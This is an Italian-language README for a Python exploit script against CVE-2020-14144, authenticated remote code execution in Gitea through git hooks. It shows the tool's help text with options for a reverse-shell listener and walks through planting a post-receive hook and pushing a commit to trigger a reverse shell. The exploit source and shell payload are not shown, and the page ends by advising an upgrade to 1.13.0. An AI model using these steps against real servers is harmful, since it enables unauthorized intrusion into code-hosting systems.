
Uno script per sfruttare CVE-2020-14144 - Esecuzione remota di codice autenticata in GiTea tramite git hooks
Uno script per sfruttare CVE-2020-14144 - Esecuzione Remota di Codice autenticata in GiTea tramite git hooks
-f$ ./CVE-2020-14144-GiTea-git-hooks-rce.py -h
_____ _ _______
/ ____(_)__ __| CVE-2020-14144
| | __ _ | | ___ __ _
| | |_ | | | |/ _ \/ _` | Authenticated Remote Code Execution
| |__| | | | | __/ (_| |
\_____|_| |_|\___|\__,_| GiTea versions >= 1.1.0 to <= 1.12.5
usage: CVE-2020-14144-GiTea-git-hooks-rce.py [-h] [-v] -t TARGET -u USERNAME -p PASSWORD [-I REV_IP] [-P REV_PORT] [-f PAYLOAD_FILE]
CVE-2020-14144 - GiTea authenticated Remote Code Execution using git hooks
optional arguments:
-h, --help show this help message and exit
-v, --verbose Increase verbosity.
-t TARGET, --target TARGET
Target host (http://..., https://... or domain name)
-u USERNAME, --username USERNAME
GiTea username
-p PASSWORD, --password PASSWORD
GiTea password
-I REV_IP, --rev-ip REV_IP
Reverse shell listener IP
-P REV_PORT, --rev-port REV_PORT
Reverse shell listener port
-f PAYLOAD_FILE, --payload-file PAYLOAD_FILE
Path to shell script payload to use.
Per sfruttare con successo questa vulnerabilità/funzionalità, la versione del server GiTea target deve essere compresa tra la versione 1.1.0 e la versione 1.13, ed è necessario un account valido (nome utente, password) con i diritti "May create git hooks" attivati.

Dal punto di vista dell'amministrazione di sistema, il processo gitea si presenta così prima dello sfruttamento:

Innanzitutto, dobbiamo creare un repository sull'interfaccia web di GiTea, utilizzando il nostro account. Creiamo il repository e andiamo su Settings -> Git Hooks -> Post Receive Hook. In questo hook è possibile scrivere uno script di shell che verrà eseguito dopo la ricezione di un nuovo commit.

Ora creeremo una directory temporanea sulla nostra macchina attaccante e faremo push verso il repository remoto. Questo attiverà lo script Post Receive Hook.
touch README.md
git init
git add README.md
git commit -m "Initial commit"
git remote add origin https://vulnserver/testuser/vuln.git
git push -u origin master
Dopo aver inviato il commit al repository remoto, verrà attivato lo script Post Receive Hook e avremo una reverse shell!

Dopo lo sfruttamento, un amministratore di sistema può facilmente vedere la nostra reverse shell separata nei processi figli di GiTea:

Si consiglia di aggiornare almeno alla versione 1.13.0.
Le pull request sono benvenute. Sentiti libero di aprire un issue se vuoi aggiungere altre funzionalità.